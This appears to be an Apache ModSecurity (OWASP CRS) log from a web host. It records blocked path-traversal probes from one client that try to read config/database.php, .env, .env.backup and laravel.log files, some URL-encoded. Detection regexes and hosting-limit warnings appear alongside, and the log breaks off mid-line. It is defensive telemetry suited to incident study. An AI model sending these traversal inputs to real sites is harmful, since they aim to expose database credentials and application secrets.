[Fri Jul 17 08:55:04.019067 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkARRrtuZqNDDSqWwJgAAABo"]
[Fri Jul 17 08:55:04.019114 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../config/database.php&ts=xNRnP7dFMy-jZDydEk23UGp0TLTCQh809M6DcNL5gnD7UDuOiPSE9a_aWtwqSNhvuAE9exex1MMBr-_m3i9vj95BN2DsXAKqYo9eCa5ux515bOHB_c22WaHRpmOaiX97v_NjB796dEKX9gdfAFOtFP__198qMw3S-FhcHTw9aqusomXLoPptXKVMoidJT48COefJ_RX988MrCPMLGlIet_k5Px4QYBmBWy_XsssJCC7Sdk88fv4hCz2nZbIif08wS5N68y97IMiEGEEiUJtK7kmK&anything=WTSAXBFAR3OAWE6L2UVILGOTFOBNUWTOSJ4CWNBXNMFWPYIL5APIZO7ZOYUNTJJENNEPAG76X7XVJUOEEYFQOBDCOHBM2VX5SQIZMZH2BDC66UIO5UC2UG3GDVJRDQ6JGKHF572TIM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkARRrtuZqNDDSqWwJgAAABo"]
[Fri Jul 17 08:55:04.019166 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../config/database.php&ts=xnrnp7dfmy-jzdydek23ugp0tltcqh809m6dcnl5gnd7uduoipse9a_awtwqsnhvuae9exex1mmbr-_m3i9vj95bn2dsxakqyo9eca5ux515bohb_c22wahrpmoaix97v_njb796dekx9gdfafotfp__198qmw3s-fhchtw9aqusomxlopptxkvmoidjt48coefj_rx988mrcpmlgliet_k5px4qybmbwy_xsssjcc7sdk88fv4hcz2nzbiif08ws5n68y97imiegeeiujtk7kmk&anything=wtsaxbfar3oawe6l2uvilgotfobnuwtosj4cwnbxnmfwpyil5apizo7zoyuntjjennepag76x7xvjuoeeyfqobdcohbm2vx5sqizmzh2bdc66uio5uc2ug3gdvjrdq6jgkhf572tim..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkARRrtuZqNDDSqWwJgAAABo"]
[Fri Jul 17 08:55:04.019194 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkARRrtuZqNDDSqWwJgAAABo"]
[Fri Jul 17 08:55:04.019219 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkARRrtuZqNDDSqWwJgAAABo"]
[Fri Jul 17 08:55:04.019292 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:file: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkARRrtuZqNDDSqWwJgAAABo"]
[Fri Jul 17 08:55:04.020420 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkARRrtuZqNDDSqWwJgAAABo"]
[Fri Jul 17 08:55:04.020542 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.020776 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIAAAAAY"]
[Fri Jul 17 08:55:04.020807 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIAAAAAY"]
[Fri Jul 17 08:55:04.020828 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkARRrtuZqNDDSqWwJgAAABo"]
[Fri Jul 17 08:55:04.021939 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIAAAAAY"]
[Fri Jul 17 08:55:04.022076 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.022215 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?file=..%2F..%2F..%2F..%2F.env&ts=qQrJkV1mwexNGSJbmWFr5hmpiIDsLDrmgGCkZfwyqHPF5s7X7LxOVnoM09hE7iYnv07m-4E065PliQWzHfrySQ0yaOuUAUquHaUowiMpt_hPzLh9hcuj675AkjKcdhwNoFWxoEXjD0Axt9DV-t0g5vGq5JUaKp65m9g1UG1_KLs-4QfKXhGLXZgz6GAkAWNzN38DFYwOz5rlMHTBgV-TfzbSOLeBOEye6jcJZnMDalxDzqVq-tAQFkUyOiV_3YtydN_7wuKcGNMnvwdlRNzm8-GE&ref=NDR4ZJ4FTDCWC4PNH4K3M4SBZ34A2NQNEG3CXOVXFBBTS64I77HXLX5GNSQPCREOKQFBHZ4WTN6UV36U4HCMETWLO7ARYF374NZJDABV3DLQJEWAUWILPG2OQ72ONFZDPWMCFP2K..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVQAAAB4"]
[Fri Jul 17 08:55:04.022250 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVQAAAB4"]
[Fri Jul 17 08:55:04.022297 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../../../.env&ts=qQrJkV1mwexNGSJbmWFr5hmpiIDsLDrmgGCkZfwyqHPF5s7X7LxOVnoM09hE7iYnv07m-4E065PliQWzHfrySQ0yaOuUAUquHaUowiMpt_hPzLh9hcuj675AkjKcdhwNoFWxoEXjD0Axt9DV-t0g5vGq5JUaKp65m9g1UG1_KLs-4QfKXhGLXZgz6GAkAWNzN38DFYwOz5rlMHTBgV-TfzbSOLeBOEye6jcJZnMDalxDzqVq-tAQFkUyOiV_3YtydN_7wuKcGNMnvwdlRNzm8-GE&ref=NDR4ZJ4FTDCWC4PNH4K3M4SBZ34A2NQNEG3CXOVXFBBTS64I77HXLX5GNSQPCREOKQFBHZ4WTN6UV36U4HCMETWLO7ARYF374NZJDABV3DLQJEWAUWILPG2OQ72ONFZDPWMCFP2K3U56LHT66NI3DXCI..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVQAAAB4"]
[Fri Jul 17 08:55:04.022323 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../../../.env&ts=qqrjkv1mwexngsjbmwfr5hmpiidsldrmggckzfwyqhpf5s7x7lxovnom09he7iynv07m-4e065pliqwzhfrysq0yaouuauquhauowimpt_hpzlh9hcuj675akjkcdhwnofwxoexjd0axt9dv-t0g5vgq5juakp65m9g1ug1_kls-4qfkxhglxzgz6gakawnzn38dfywoz5rlmhtbgv-tfzbsoleboeye6jcjznmdalxdzqvq-taqfkuyoiv_3ytydn_7wukcgnmnvwdlrnzm8-ge&ref=ndr4zj4ftdcwc4pnh4k3m4sbz34a2nqneg3cxovxfbbts64i77hxlx5gnsqpcreokqfbhz4wtn6uv36u4hcmetwlo7aryf374nzjdabv3dlqjewauwilpg2oq72onfzdpwmcfp2k3u56lht66ni3dxci..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVQAAAB4"]
[Fri Jul 17 08:55:04.022350 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVQAAAB4"]
[Fri Jul 17 08:55:04.022381 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBIAAAAAY"]
[Fri Jul 17 08:55:04.022382 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVQAAAB4"]
[Fri Jul 17 08:55:04.023538 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVQAAAB4"]
[Fri Jul 17 08:55:04.023683 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.023966 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkFCBpfuYyhJ140vSVQAAAB4"]
[Fri Jul 17 08:55:04.025491 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-GgAAABw"]
[Fri Jul 17 08:55:04.025530 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-GgAAABw"]
[Fri Jul 17 08:55:04.026737 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-GgAAABw"]
[Fri Jul 17 08:55:04.026869 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.027193 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkIZvbo7N5o5zeYC-GgAAABw"]
[Fri Jul 17 08:55:04.027458 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfAAAAAQ"]
[Fri Jul 17 08:55:04.027494 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfAAAAAQ"]
[Fri Jul 17 08:55:04.027571 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:file: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfAAAAAQ"]
[Fri Jul 17 08:55:04.027604 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 